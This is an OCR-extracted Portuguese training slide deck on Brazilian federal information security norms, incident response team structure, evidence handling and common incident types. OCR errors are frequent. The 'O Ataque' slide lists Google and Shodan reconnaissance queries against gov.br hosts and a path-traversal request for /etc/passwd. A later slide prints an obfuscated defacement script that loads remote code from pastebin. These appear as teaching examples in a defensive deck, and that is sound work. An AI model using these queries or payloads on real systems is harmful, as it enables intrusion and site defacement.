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NC 01/2008
NC 02/2008
NC 03/2009
NC 04/2013

Atividade de Normatizacdo.
Metodologia de Gestdo de SIC.
Diretrizes para a Elaboragdo de Politica de SIC.

Diretrizes para o processo de Gestdo de Riscos de SIC - GRSIC. (Revisdo 01)

NC 06/2009
NC 07/2014

Estabelece Diretrizes para Gestdo de Continuidade de Negdcios, nos aspectos relacionados a SIC.

Estabelece as Diretrizes para Implementagdo de Controles de Acesso Relativos a SIC.

NC 09/2014 Estabelece orientagdes especificas para o uso de recursos criptograficos em SIC. (Revisdo 02)
NC 10/2012
NC 11/2012

NC 12/2012

Estabelece diretrizes para o processo de Inventdrio e Mapeamento de Ativos de Informacdo, para apoiar a SIC.
Estabelece diretrizes para avaliagdo de conformidade nos aspectos relativos a SIC.

Estabelece diretrizes e orientagdes basicas para o uso de dispositivos méveis nos aspectos referentes a SIC.

NC 13/2012 Estabelece diretrizes para a Gestao de Mudangas nos aspectos relativos a SIC.

NC 14/2012 Estabelece diretrizes para a utilizagdo de tecnologias de Computagdo em Nuvem, nos aspectos relacionados a SIC.
NC 15/2012 Estabelece diretrizes de SIC para o uso de redes sociais.

NC 16/2012 Estabelece as Diretrizes para o Desenvolvimento e Obtengdo de Software Seguro.

NC 17/2013 Estabelece Diretrizes nos contextos de atuagdo e adequacgdes para Profissionais da Area de SIC.

NC 18/2013 Estabelece as Diretrizes para as Atividades de Ensino em SIC.

NC 19/2014 Estabelece Padrées Minimos de SIC para os Sistemas Estruturantes da APF.

NC 20/2014 Estabelece as Diretrizes de SIC para Instituigdo do Processo de Tratamento da Informagao. (Revisdo 01)



INO1/DSIC/GSIPR




Instru¢cao Normativa GSI/PR N2 1

Art. 1° - Aprovar orientacOes para Gestao de Seguranca da Informacao e Comunicacoes
gue deverédo ser implementadas pelos orgéos e entidades da Administracdo Publica Federal,
direta e indireta.
Art. 3° - por intermédio do Departamento de Seguranca da Informacdo e Comunicacdes -
DSIC, compete:

lIl - operacionalizar e manter centro de tratamento e resposta a incidentes ocorridos nas
redes de computadores da Administracdo Publica Federal, direta e indireta, denominado
CTIR.GOV;,

Art. 5° - Aos demais 6rgéaos e entidades da Administracdo Publica Federal, direta e indireta,
em seu ambito de atuacdo, compete:

IV - nomear Gestor de Seguranca da Informacao e Comunicacoes;

V - instituir e implementar equipe de tratamento e resposta a incidentes em redes
computacionais;

VIl - aprovar Politica de Seguranca da Informacdo e Comunicacdes e demais normas de
seguranca da informacao e comunicacgoes;

Art. 7° - Ao Gestor de Seguranca da Informacao e Comunicacdes, de que trata o inciso IV do
art. 52, no ambito de suas atribui¢cGes, incumbe:

VI - manter contato direto com o DSIC para o trato de assuntos relativos a seguranca da
informacdo e comunicagoes;



Instru¢cao Normativa GSI/PR N2 1

(Art. 2° - INO1/DSIC/GSIPR)

Acbes que objetivam viabilizar e assegurar a Disponibilidade, a Integridade, a
Confidencialidade, a Autenticidade.

Disponibilidade: propriedade de que a informacao esteja acessivel e utilizavel sob demanda por
uma pessoa fisica ou determinado sistema, 6rgao ou entidade;

Integridade: propriedade de que a informac&o nao foi modificada ou destruida de maneira nao
autorizada ou acidental,

Confidencialidade: propriedade de que a informacdo nao esteja disponivel ou revelada a
pessoa fisica, sistema, 6rgdo ou entidade ndo autorizado e Credenciado;

Autenticidade: propriedade de que a informacao foi produzida, expedida, modificada ou

destruida por uma determinada pessoa fisica, ou por um determinado sistema, O6rgao ou
entidade;

Nao Repudio: ou ndo recusa, € a garantia que o emissor de uma mensagem ou a pessoa que
executou determinada transacdo de forma eletrGnica, ndo podera posteriormente negar sua
autoria, visto que somente aquela chave privada poderia ter gerado aquela assinatura digital.



NCO5/INO1/DSIC/GSIPR

CRIACAO DE EQUIPES DE TRATAMENTO E
RESPOSTA A INCIDENTES EM REDES
COMPUTACIONAIS - ETIR.




NC 05/2009 — Criacao de ETIRs

7- MODELOS DE IMPLEMENTACAO:

7.1 Modelo 1 — Utilizando a equipe de Tecnologia da Informacéo — Tl
N&o existira um grupo dedicado, age reativamente, Agente Responsavel atribui

responsabilidades para que os seus membros exercam atividades pro-ativas.

7.2 Modelo 2 — Centralizado
Centralizada no ambito da organizacéo, pessoal com dedicacéo exclusiva.

7.3 Modelo 3 — Descentralizado
ETIRs distribuidas por diversos locais dispersos fisicamente dentro da organizacao,
e chefiada pelo Agente Responsavel designado.

7.4 Modelo 4 — Combinado ou Misto
Juncdo dos modelos Descentralizado e Centralizado, Equipe Central e Equipes
distribuidas pela organizacdo, Equipe central responsavel por criar as estratégias, gerenciar
as atividades e distribuir as tarefas entre as Equipes descentralizadas.



NC 05/2009 — Criacao de ETIRs

8-ESTRUTURA ORGANIZACIONAL:

8.1- Existem muitas maneiras diferentes de uma Equipe de Tratamento e Resposta a
Incidentes em Redes Computacionais ser estruturada. A estrutura dependerd do modelo de
implementacdo a ser adotado, do tamanho da organizacdo, do numero de localizacdes
geograficas distribuidas e onde as funcbes estdo localizadas, do numero de sistemas e
plataformas suportadas, do niumero de servigos a serem oferecidos e do conhecimento técnico do
pessoal existente.

8.2- Os membros da Equipe deverdo ser selecionados, sempre que possivel, dentre o
pessoal existente, com perfil técnico adequado as funcdes de tratamento de incidentes de rede,
0S quais deverao dedicar o tempo integral, ou um percentual do seu tempo de trabalho,
dependendo do modelo de implementacao adotado, de forma reativa e pro-ativa.

8.4- Recomenda-se que os membros da ETIR sejam: administradores de sistema ou de
seguranca, administradores de banco de dados, administradores de rede, analistas de suporte
ou quaisquer outras pessoas da organizacdo com conhecimento técnico comprovado. A Equipe
podera ser estendida com a inclusdo dos seguintes membros: representantes legais de areas
especificas da organizacdo, advogados, estatisticos, recursos humanos, relacbes publicas,
gestado de riscos, controle interno e grupo de investigacdo, ou outro que a organizagado entenda
ser adequado.



NC 05/2009 — Criacao de ETIRs

9- AUTONOMIA DA ETIR:

9.1 Autonomia Completa

Tem plena autonomia, conduz o seu publico alvo para realizar acGes necessarias na
recuperacao de incidentes de seguranca, Equipe podera tomar a decisdo de executar as
medidas de recuperacdo, sem esperar pela aprovacao de niveis superiores de gestao.

9.2 Autonomia Compartilhada

ETIR possui a autonomia compartilhada, trabalha em acordo com os outros setores no
processo de tomada de decisédo sobre quais medidas devam ser adotadas. A indicacéo dos
membros do processo decisorio devera ser definida explicitamente no documento de
constituicao da ETIR.

9.3 Sem Autonomia
ETIR ndo tera autonomia para a tomada de decisdes ou adocao de acdes, podendo, no
entanto, recomendar os procedimentos a serem executados, mas nao tera um voto na
decisao final.



NC 05/2009 — Criacao de ETIRs

10- DISPOSICOES GERAIS:

10.2 Preferencialmente a Equipe deve ser composta por servidores publicos ocupantes de
cargo efetivo ou militares de carreira, conforme o caso, com perfil técnico compativel, lotados nos
Seus respectivos 0rgaos.

10.3 Cada o¢rgao podera deliberar o nome de sua Equipe de Tratamento e Resposta a
Incidentes em Redes Computacionais.

10.4 A ETIR devera guiar-se por padrdes e procedimentos técnicos e normativos no contexto
de tratamento de incidentes de rede orientados pelo Centro de Tratamento e Resposta a
Incidentes de Seguranca em Redes de Computadores da Administracdo Publica Federal — CTIR
GOW.

10.5 A ETIR poderéa usar as melhores praticas de mercado, desde que nao conflitem com os
dispositivos desta Norma Complementar.

10.6 A ETIR devera comunicar de imediato a ocorréncia de todos os incidentes de
seguranca ocorridos na sua area de atuacdo ao CTIR GOV, conforme padrao definido por esse
orgao, a fim de permitir a geracdo de estatisticas e solucdes integradas para a Administracao
Publica Federal.



NC 05/2009 — Criacao de ETIRs

ANEXO A
DOCUMENTO DE CONSTITUICAO DA ETIR:
MISSAO
COMUNIDADE OU PUBLICO ALVO
MODELO DE IMPLEMENTACAO
ESTRUTURA ORGANIZACIONAL
AUTONOMIA DA ETIR

SERVICOS



NCO8/INO1/DSIC/GSIPR

GESTAO DE ETIR:

DIRETRIZES PARA GERENCIAMENTO DE INCIDENTES EM
REDES COMPUTACIONAIS NOS ORGAOS E ENTIDADES DA
ADMINISTRACAO PUBLICA FEDERAL.




NC 08/2010 — Incidentes em Redes Computacionais

1- OBJETIVO:

Disciplinar o gerenciamento de Incidentes de Seguranca em Redes de Computadores realizado
pelas Equipes de Tratamento e Resposta a Incidentes de Seguranca em Redes Computacionais -
ETIR dos 6rgaos e entidades da Administracdo Publica Federal, direta e indireta - APF.

5- RESPONSABILIDADE:

O Agente Responsavel, designado no documento de criacdo da ETIR, é o responsavel pela ETIR
do seu oOrgédo ou entidade, bem como pelo relacionamento com o Centro de Tratamento de
Incidentes de Seguranca em Redes de Computadores da Administracao Publica Federal - CTIR
Gov.

6- RELACIONAMENTOS DA ETIR:

A ETIR comunicard a ocorréncia de incidentes de seguranca em redes de computadores ao
Centro de Tratamento de Incidentes de Seguranca em Redes de Computadores da Administracao
Plblica Federal - CTIR Gov, conforme procedimentos a serem definidos pelo proprio CTIR Goy,
com vistas a permitir que sejam dadas solucbes integradas para a APF, bem como a geracéo de
estatisticas.



NC 08/2010 — Incidentes em Redes Computacionais

7.1- Recomenda-se que a ETIR defina os servicos a serem oferecidos a sua comunidade e, na
medida em que forem oferecidos, que o sejam de forma gradativa e de acordo com a maturidade
da equipe;

7.2- Além do servico de tratamento de incidentes de seguranca em redes de computadores, a
ETIR podera oferecer a sua comunidade um ou mais dos servicos listados a seguir, sem prejuizo
de outros requisitados, desde que em consonancia com normas e legislacbes referentes ao
gerenciamento de incidentes de seguranca em redes de computadores:

7.2.1- Tratamento de artefatos maliciosos;

7.2.2- Tratamento de vulnerabilidades;

7.2.3- Emissao de alertas e adverténcias;

7.2.4- Anuncios;

7.2.5- Prospeccao ou monitoracédo de novas tecnologias;
7.2.6- Avaliacédo de seguranca;

7.2.7- Desenvolvimento de ferramentas de seguranca;

7.2.8- Deteccao de intrusao;

- = ~ - ~ - by



NC 08/2010 — Incidentes em Redes Computacionais

Conforme estabelece o item 8.5 da NC n2 08 /INO1/DSIC/GSIPR, durante
o gerenciamento dos incidentes de seguranca, havendo indicios de
ilicitos criminais, as ETIR de o6rgaos da APF tém como dever, sem
prejuizo da comunicacao da ocorréncia dos incidentes de seguranca ao
CTIR Gov, acionar as autoridades policiais competentes para a adocao
dos procedimentos legais julgados necessarios, observar os
procedimentos para preservacao das evidéncias, exigindo consulta as
orientacdes sobre cadeia de custdédia e priorizar a continuidade dos
servicos da ETIR e da missao institucional da organizacao.




Cases de sucesso

=S| RNP . " .
—aweonx GQuia de boas praticas para estabelecimento de CSIRTS na

Rede de ensino e pesquisa

Ministério do
Ui Mapeamento de processos da ETIR, realizada pelo

Ministério do Turismo

Ministério do
Planejamento

m Implantar metodologia de gestao de Seguranca da
Informag¢ao e Comunicagoes (SIC), incluindo: plano de metas de SIC,
Politica de Seguranca da Informag¢ao e Comunica¢oes, Comité de
Seguranc¢a e Equipe de Tratamento de Incidente de Redes (ETIR)



Cases de sucesso

MINISTERIO DO PLANEJAMENTO, ORCAMENTO E GESTAO

O GESTOR DE SEGURANCA DA INFORMACAO E COMUNICACOES, no uso da

competéncia, resolve:

Art. 1° Instituir o Centro de Tratamento e Resposta a Ataques na Rede MP — Cetra, no ambito do
Ministério do Planejamento, Orcamento e Gestdo, vinculado ao Departamento Setorial de
Tecnologia da Informacdo da Secretaria de Logistica e Tecnologia da Informacao - DSTI/SLTI,
observadas as diretrizes estabelecidas na Politica de Seguranca da Informacao e Comunicacdes
e pelo Gabinete de Seguranca Institucional da Presidéncia da Republica - GSI/PR.

Art. 4° O Cetra tem como atribuigcdes:

| — Facilitar e coordenar as atividades de tratamento e resposta a incidentes em redes
computacionais .......

Art. 6° AETIR Cetra adotara o modelo de implementacdo combinado ou misto ....

Art. 8° AETIR Cetra serd composta por membros da— COTEC/CGTI/DSTI/SLTI.

Atribuir ao Agente Responsavel pelo Centro de Tratamento e Resposta a Ataques na Rede
MP - Cetra as seguintes competéncias:

IX - Assistir o CTIR GOV com as informacgcdes necessarias a atualizacdo e manutencao das
bases de dados de incidentes do Governo Federal,;



NC21/INO1/DSIC/GSIPR

DIRETRIZES PARA O REGISTRO DE EVENTOS,
COLETA E PRESERVACAO DE EVIDENCIAS DE
INCIDENTES DE SEGURANCA EM REDES.




NC 21/2014 — Incidentes em Redes Computacionais

v'6. DOS REQUISITOS PARA ADEQUACAO DOS ATIVOS DE
INFORMACAO

v'O horéario dos ativos de informacdo deve ser ajustado por
meio de mecanismos de sincroniza¢ao de tempo.

v'6.2 Os ativos de informacdo devem ser configurados de
forma a registrar todos os eventos relevantes de SIC.

a) ldentificacao inequivoca do usuario que acessou o recurso;

b) Sucesso ou falha de autenticacao, tentativa de troca de senha, etc;

c) Data, hora e fuso horario
d) Endereco IP

v'6.7 Os registros devem ser armazenados pelo periodo
minimo de 06 (seis) meses, sem prejuizo de outros prazos
previstos em normativos especificos.



NC 21/2014 — Incidentes em Redes Computacionais

v'7. DOS PROCEDIMENTOS PARA COLETA E PRESERVACAO DAS
EVIDENCIAS

7.3. O agente responsavel pela ETIR deve, coletar e preservar:
a) As midias de armazenamento dos dispositivos afetados; e
b) Todos os registros de eventos
7.4 As acoes de restabelecimento do servico nao devem comprometer a coleta,
e preservacao da integridade das evidéncias.
7.6 Todo material coletado devera ser lacrado e custodiado pelo agente
responsavel pela ETIR, o qual deve preencher Termo de Custddia dos Ativos de
Informacao relacionados ao Incidente de Seguranca.



NC 21/2014 — Incidentes em Redes Computacionais

v'8. DA COMUNICACAO AS AUTORIDADES COMPETENTES

v'8.1 Apds a conclusdo do processo de coleta e preservacio
das evidéncias do incidente, o responsavel pela ETIR devera
elaborar Relatério de Comunica¢ao de Incidente de Seguranca
em Redes Computacionais e encaminhar formalmente a
autoridade responsavel pelo orgao ou entidade da APF
Acondicionado em envelope lacrado e rubricado pelo agente
responsavel pela ETIR.



Ciclo de uma investigacao
m b3 = Informagoes =
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Fonte: http://fdtk.com.br/wiki/tiki-index.php




Agenda

= Gestao de Incidentes

" Tipos de Incidentes




Gestao de
Incidentes

TRATAMENTO DE INCIDENTES, ALERTAS,
TRATAMENTO DE VULNERABILIDADES




o DEINCIDEN

Pouca Guerra de Informacdes Estratégicas

+ Maior ganho econémico
« Terrorismo Cibernético
+ Guerra Assimétrica

Ataques Cibernéticos Dirigidos — Hackers Estrutt
+ Ganhos financelros diretos e direclonados
+ Extremistas / Grupos

+ Empregado Desapontado

Ataques Cibernéticos Gerais —
+ Notoriedade e Fama

“S6 para fazer”

| » Economia de
Recursos Hackers
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Fonte: JAEA




O Atagque

GOOGLE DORKS

— inurl:orgao.gov.br Revslider “Index of”

1. Reconhecimento

—

SHODAN (country: city: port: geo: ) ~

2. ldentificacdo do alvo
— 'IPCS$' port:445 hostname:orgao.gov.br

=

~“_".3. Comprometimento do sistema

METODO LFI/RFI - FILE INCLUSION

—  http://[].gov.br/preview.php?file=example.html 4. EXECU§50 do ataque

- http://[].gov.br/preview.php?file=../../../../etc/passwd
5. Negacao ou Divulgacao

@NORSE

ATICK omgacs O

11 Gty
0 " O

Ataque bem-sucedido




cercar

Cartilha de Seguranga

Ml REDE NACIONAL DE
ENSINO E PESQUISA

CULTURA DE SEGURANCA DA INFORMACAO

= Qualificacao Profissional

= Seguranca no Desenvolvimento de Softwares

= Seguranca da Infraestrutura
= Adocao de Protocolo TLS (https)
= Adocao de DNSec

THE PRACTICE
< N0 BRASIL ETWORK SECug)y
s Ve LV MONITORING

LivRa Veroe
PEGURANGA CIBERNETICA



Tipos de Incidentes e
Vulnerabilidades

ABUSO, FRAUDE, INDISPONIBILIDADE, MALWARE,
SCAN, VAZAMENTO




Abuso de Sitio

Desfiguracao de pagina, defacement
ou picha¢ao

E uma técnica que consiste em alterar o
conteudo da pagina Web de um site.

Formas de ataque:
» exploracdo de erros da aplicagao Web;

* exploracdo de vulnerabilidades do
servidor de aplicagao Web;

* exploracdo de vulnerabilidades da
linguagem de programacgao ou dos
pacotes utilizados no desenvolvimento da
aplicacao Web;

* Invasao do servidor onde a aplicacao Web

estd hospedada e alterar diretamente os
arquivos que compodem o site;

furto de senhas de acesso a interface
Web usada para administracao remota.

Fonte: cert.br

Abusode ED Indisponib. @ ; Scan ‘Vazag“ee”to “Vulnerab. Vulnerab.
\ Sitio \ de Sitio  Jj \ K \m,nfmmagﬁo \ upbP \ TLS/ssL




Pagina Falsa (Fake Website)

Normalmente, paginas falsas sao
divulgadas a partir de mensagens
fraudulentas, que visam capturar
dados pessoais ou institucionais » ,
(U suario /senh a)_ administracao de e-mail

email

Por vezes, sites de governo sao
invadidos e acabam hospedando

paginas fraudulentas de
instituicoes financeiras (por
exemplo).

!
FhlShTal'lk " Outof the Net, into the Tank.

Fonte: cert.br

k e ; / il : k ; \ - ‘: klnformacéo \ ubp k TLS/SSL




L

o DEINCIDEN

Fraude

Phishing Message

COMO VISUALIZAR O CABECALHO COMPLETO DE UMA MSG?
Fa |Siﬂca géo de e-mai/’ é uma técn ica * Webmail da UFRGS

Selecione a mensagem, clique no icone da engrenagem (Mais acdes...) da barra de ferramentas do Chasque e depois

que consiste em alterar campos | ioarcuen s

Va em "Arquivo”, selecione "Propriedades”, clique na guia "Detalhes” e selecione "Fonte da Mensagem”.

do cabec¢alho de um e-mail. + Microsof Outook

Selecione a mensagem, use o botdo direito do mouse e escolha "Opgdes”
« Microsoft Outlook 2007
Selecione a mensagem, clique em "Arquivo”, logo apos "Abrir >> Itens selecionados”. Na nova janela, escolha

Ata Ca ntes u tl I Iza m -Se d e e n d e re gOS d e "Opgoes"” e os cabecalhos estardo presentes no campo "Cabecalhos de Internet”.
o « Microsoft Outlook 2010
e_ m a I I co I eta d os d e No topo da tela do e-mail aberto, va na aba "Arquivo” (a0 lado da aba "Mensagem”), selecione "Informagdes” no lado
esquerdo da tela, clique no botdo "Propriedades” e selecione o contelido que aparece em "Cabegalhos de Intemet"”.
« Outlook (hotmail)

CO m p uta d O res i nfe Cta d OS pa ra Clique com o botdo direito no assunto da mensagem na caixa de entrada e selecione "Origem da mensagem"”

« Thunderbird

e nvi a r m e n sa ge n s e te nta r fa Ze r ! (S;érelll:ciilone a mensagem e aperte as teclas "CONTROL" e "U", simultaneamente

Selecione a mensagem e abra a aba no canto direito da mensagem (préximo a "Responder”), e selecione "Mostrar

com que os seus destinatarios orgrar

* Yahoo
Abra a mensagem, clique no item "... Mais", logo acima da area onde a mensagem é exibida e selecione a opcédo

acreditem que elas partiram de eecron::
p e Ss o a S CO n h e c i d a S R Fonte: http://www.ufrgs.br/tri/Documentos/como-ver-o-cabecalho-completo-de-um-e-mail

Fonte: cert.br
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Indisponibilidade de Sitio

DoS DDoS

N ega gé (0] d e se rVigO, ou DOS (Denial Of 1. Ocorreu um erro na resposta HTTP ao acessar:
. ’ , . URL: Wt/ ———.
Service ) , € uma tecnica pe I a qua | um Status Line:500 Can't connect to www aasspmsessgasbr-30 (fimeott)

atacante visa tirar de operacao um
Servico’ um computador OU um a ég:om"ps:?mplem(smms+Cabegajho+C0nteﬁd0)daresposIaHTTP:

500 Can't connect to www inmammsaasgaalty 00 (limeolt)

rede conectada a Internet Comor T ki
Client-Date: Tue, 19 Jun 2018 16:36:46 GMT

Client-Warning; Internal response

Can't connect to www .80 (timeout)

Ataques de negacao de servico podem
ser realizados por diversos meios,
como:

* pelo envio de grande quantidade de
requisicdes para um servico;

* pela geracdo de grande trafego de dados
para uma rede;

* pela exploracao de vulnerabilidades
existentes em programas. Fonte: cert.br

@ 7 N Indisponib. - 7N : i Fazaments Sy “Vulnerab. Vulnerab.
s J Fraude gy Malware Scan J de |
\ Sitio R de Sitio \ A informagso \ upP \ TLS/SSL




Malware

Cddigos maliciosos (malware) sao
programas especificamente
desenvolvidos para executar acoes
danosas e atividades maliciosas em
um computador.

Eayige Wikt - URGERTE - GRPE WHIGGE - Morile Thundivting
ricioe Loap s | 3B Ry (| B Ripty Al x| Ry

Dt Prt, 27 Gk 262 HE LB I

Formas de Infec¢do: B v i S A Ay

* pela execucdo de arquivos em Sl et i i ks i

mensagens eletronicas; SREOUNGETDA  niigiuZBssen mynms stibmhnyap TR g
HERSG, PO TSI St uZHSSeNg et iplen's nime from epail addiess)
* pela exploragdo de vulnerabilidades; e e S e e Foe?

) 2505901 TO0GINET AT 2 ISMBNSILI98 poY

* pela auto execucao de midias
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* pelo acesso a paginas Web maliciosas;
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Scan

Varredura em redes Atividades no Honeypot

E uma técnica que consiste em efetuar Busca por protocolos que permitam
buscas minuciosas em redes, com o amplificacdo:

objetivo de identificar computadores DNS, NTP, SSDP, SNMP, Chargen,
ativos e coletar informacgdes sobre Netbios, Quotd, mDNS, SMB, LDAP
eles como, por exemplo, servicos

d I S p O n i b i | I Za d OS e p rog ra m a S b S e v eoe g bt L0 g’?:,?os_ Windows 2000 RECI303; Windows XP REC1323) 4208830704 42088367640) win 8162 <mss
instalados. Com base nas informaces [ o v smscins s s sz v

un 15 17:25:19.770046 S0euSuesd® 54164 > xowox. .83 445: S (src OS: Windows 2000 RFC1323, Windows XP RFC1323) 4268839764:4268839764(0) win 8192 <mss
460.nop wscale 8,nop.nop.sackOK=> (DF)

C O I eta d a S é p o S S ive I a s s O c i a r p o s s Ilve i s un 15;.1; 2;2&25(2)1558;.“. 54164 > 0000000 83.445: S (src OS: Windows XP SP1, Windows 2000 SP2+) 4268839764:4268839764(0) win 8192 <mss

un 15 17:25:29.779980 Setub@duiet®. 54 166 > xocox.0x83.139: S (src OS: Windows 2000 RFC1323, Windows XP RFC1323) 1558171983:1558171983(0) win 8192 <ms:
460.nop.wscale 8.nop.nop.sackOK> (DF)

ege °
un 15 17:25:40. 141260 aeeeseesssmm® > 10000000084 | mp cho request
un 15 17:25:40.44682400eeemeswms® 54168 > xocou. o 84.445: S (src OS: Windows 2000 RFC1323, Windows XP RFC1323) 3948693981:3948693981(0) win 8192 <mss

460,nop wscale 8 nop,nop,sackOK=> (DF)
un 15 17:25:40,605552 AAeulemtenie® 54169 > xxo.xx.xxx.84.445: S (src OS: Windows 2000 RFC1323, Windows XP RFC1323) 2942258434:2942258434(0) win 8192 <

disponibilizados e aos programas 46?5;?2;%‘}%2’?33%54;;313‘133 "‘3544”5 SE((ISICOSW indows 2000 RFC1323, Windows XP RFC1323) 3827273466:3827273466(0) win 8192 <mss
instalados nos computadores ativos
detectados.

Fonte: cert.br
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Exposicao/Vazamento de Dados
Sensiveis (Leaks)

Por meio de técnicas invasivas e de
interceptacdo de dados, informacgoes

sensiveis a uma instituicao (bancos de
dados, credenciais etc) podem vir a ser

expostas em portais de acesso 2
publico (pastebin.com, justpaste.it, AR Defcon Lab
paste.me, pastehtml.com ...).

http://pastebin.com/

Notifica-se o site contendo a exposi¢do http://ghostbin.com/
dos dados e notifica-se, também, os http://tny.cz/
orgaos envolvidos, com possivel http://hastebin.com/
vazamento de dados, para que http://chopapp.com/
possam tomar medidas de mitigacao http://snipt.org/
e/ou de correcao de falhas em suas

infraestruturas. Fonte: cert.br
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Tendéncias

mMineragéo de Criptomoeda e ey

ga('send', 'pageview');

Um “webminer”, utiliza tecnologia nova do B il et >
WebA Ssem b ly’ p a ra p ro C e S S a r I Ve rS O S h ash es . CH. Anonymous ( ' etnk4TKCvfITvRHucbe7vBEh5Cte8Vgj4ChH8pXBdMAdX7CWZ57WPL jKGCBUVNYpNbA7p7cvMX7k FRSAbHMNPSASER dWqISEN. 50
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Bastando um navegador com JavaScript ativado. =%

‘ u Ransomware
\___

Tipo de codigo malicioso que torna inacessiveis 0s
dados armazenados em um equipamento,
geralmente usando criptografia, e que exige

pagamento de resgate (ransom5 para restabelecer
0 acesso ao usuario.

Bl

e

(S, Ataques Envolvendo CPEs para Alteragao de DNS
* Via forca bruta de senhas (geralmente via telnet)

* via rede ou via malware nos computadores das vitimas
explorando vulnerabilidades via ataques CSRF (Cross-Site
Request Forgery), através de iFrames com JavaScripts

maliciosos colocados em sites legitimos comprometidos
pelos fraudadores

S
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<script type="text/javascript" src="https://pastebin.com/raw/7mdFu2uB"></script>

document.documentElement.innerHTML=String.fromCharCode(10, 10, 60, 33, 68, 79, 67, 84, 89, 80, 69, 32, 104, 116, 109, 108, 62, 10, 60, 104, 116, 109, 108, 62, 10, 60, 104, 101, 97, 100, 62, 10, 9, 60, 33, 45, 45, 32, 115, 121, 110,
116, 52, 120, 51, 114, 32, 101, 32, 99, 111, 111, 108, 109, 101, 109, 101, 115, 49, 57, 57, 51, 32, 110, 101, 115, 115, 97, 32, 112, 111, 114, 114, 97, 45, 45, 62, 10, 9, 60, 116, 105, 116, 108, 101, 62, 80, 114, 111, 116, 111, 87, 97, 118,
101, 46, 101, 120, 101, 60, 47, 116, 105, 116, 108, 101, 62, 10, 32, 32, 32, 32, 60, 109, 101, 116, 97, 32, 99, 104, 97, 114, 115, 101, 116, 61, 34, 117, 116, 102, 45, 56, 34, 62, 10, 9, 60, 115, 116, 121, 108, 101, 62, 10, 9, 9, 98, 111, 100,
121,32,123,10,9,9, 9, 116, 101, 120, 116, 45, 97, 108, 105, 103, 110, 58, 32, 99, 101, 110, 116, 101, 114, 59, 10, 9, 9, 9, 102, 111, 110, 116, 45, 102, 97, 109, 105, 108, 121, 58, 32, 86, 101, 114, 100, 97, 110, 97, 59, 10, 32, 32, 32, 32,
32,32, 32,32,32,32,32, 32, 32,32, 32, 32,32, 32, 32, 32, 32, 32, 32, 32, 99, 111, 108, 111, 114, 58, 35, 48, 48, 48, 48, 48, 48, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 98, 97, 99,
107, 103, 114, 111, 117, 110, 100, 45, 99, 111, 108, 111, 114, 58, 35, 102, 102, 102, 102, 102, 102, 59, 32, 10, 9, 9, 9, 102, 111, 110, 116, 45, 115, 105, 122, 101, 58, 32, 49, 53, 112, 120, 59, 10, 9, 9, 125, 10, 9, 9, 104, 49, 32, 123, 10, 9,
9,9, 109, 97, 114, 103, 105, 110, 58, 32, 45, 53, 112, 120, 59, 10, 9, 9, 9, 102, 111, 110, 116, 45, 115, 105, 122, 101, 58, 32, 52, 53, 112, 120, 59, 10, 9, 9, 125, 10, 9, 9, 115, 109, 97, 108, 108, 32, 123, 10, 9, 9, 9, 102, 111, 110, 116, 45,
115, 105, 122, 101, 58, 32, 49, 51, 112, 120, 59, 10, 9, 9, 125, 10, 9, 60, 47, 115, 116, 121, 108, 101, 62, 10, 60, 47, 104, 101, 97, 100, 62, 10, 60, 98, 111, 100, 121, 62, 10, 9, 60, 98, 114, 62, 60, 98, 114, 62, 10, 9, 60, 115, 109, 97, 108,
108, 62, 118, 111, 99, 234, 32, 97, 99, 97, 98, 97, 32, 100, 101, 32, 99, 97, 105, 114, 32, 110, 97, 32, 104, 97, 99, 107, 101, 97, 100, 97, 32, 100, 97, 60, 47, 115, 109, 97, 108, 108, 62, 60, 98, 114, 62, 10, 9, 60, 104, 49, 62, 80, 114, 111,
116, 111, 87, 97, 118, 101, 60, 47, 104, 49, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 115, 109, 97, 108, 108, 62, 60, 98, 62, 50, 48, 49, 53, 60, 47, 98, 62, 60, 47, 115, 109, 97, 108, 108, 62, 60, 98, 114, 62, 60, 98, 114, 62, 60, 98, 114, 62,
10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 102, 102, 102, 59, 119, 105, 100, 116, 104, 58, 51, 56, 48, 112, 120, 59, 109, 97, 114, 103,
105, 110, 58, 97, 117, 116, 111, 34, 62, 60, 105, 109, 103, 10, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 105, 46, 105, 109, 103, 117, 114, 46, 99, 111, 109, 47, 117, 78, 105, 88, 101, 80, 48, 46, 106, 112, 103, 34, 32, 119, 105,
100, 116, 104, 61, 34, 51, 56, 48, 34, 62, 60, 47, 100, 105, 118, 62, 60, 98, 114, 62, 10, 9, 10, 9, 10, 9, 72, 97, 99, 107, 101, 100, 32, 98, 121, 32, 99, 111, 111, 108, 109, 101, 109, 101, 115, 49, 57, 57, 51, 32, 97, 110, 100, 32, 115, 121,
110, 116, 52, 120, 51, 114, 60, 98, 114, 62, 10, 9, 78, 227, 111, 32, 101, 120, 105, 115, 116, 101, 32, 100, 101, 109, 111, 99, 114, 97, 99, 105, 97, 32, 111, 110, 100, 101, 32, 105, 109, 112, 101, 114, 97, 32, 97, 32, 99, 111, 114, 114,
117,112, 231, 227, 111, 44, 32, 97, 32, 105, 110, 106, 117, 115, 116, 105, 231, 97, 44, 32, 97, 32, 109, 101, 110, 116, 105, 114, 97, 32, 101, 32, 97, 32, 104, 105, 112, 111, 99, 114, 105, 115, 105, 97, 46, 60, 98, 114, 62, 10,9, 9,9, 10, 9,
10, 9, 60, 105, 102, 114, 97, 109, 101, 32, 119, 105, 100, 116, 104, 61, 34, 48, 34, 32, 104, 101, 105, 103, 104, 116, 61, 34, 48, 34, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 121, 111, 117, 116, 117,
98, 101, 46, 99, 111, 109, 47, 101, 109, 98, 101, 100, 47, 82, 121, 73, 75, 69, 89, 121, 116, 56, 79, 119, 63, 97, 117, 116, 111, 112, 108, 97, 121, 61, 116, 114, 117, 101, 34, 32, 102, 114, 97, 109, 101, 98, 111, 114, 100, 101, 114, 61, 34,
48, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 9, 10, 60, 47, 98, 111, 100, 121, 62, 10, 60, 47, 104, 116, 109, 108, 62, 10)
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Teste de Implementacao

H Proje Qualys.c Conta
@ Qualys. ssi Labs o e

You are here: Homs > Proscis > SSL Server Test

SSL Server Test
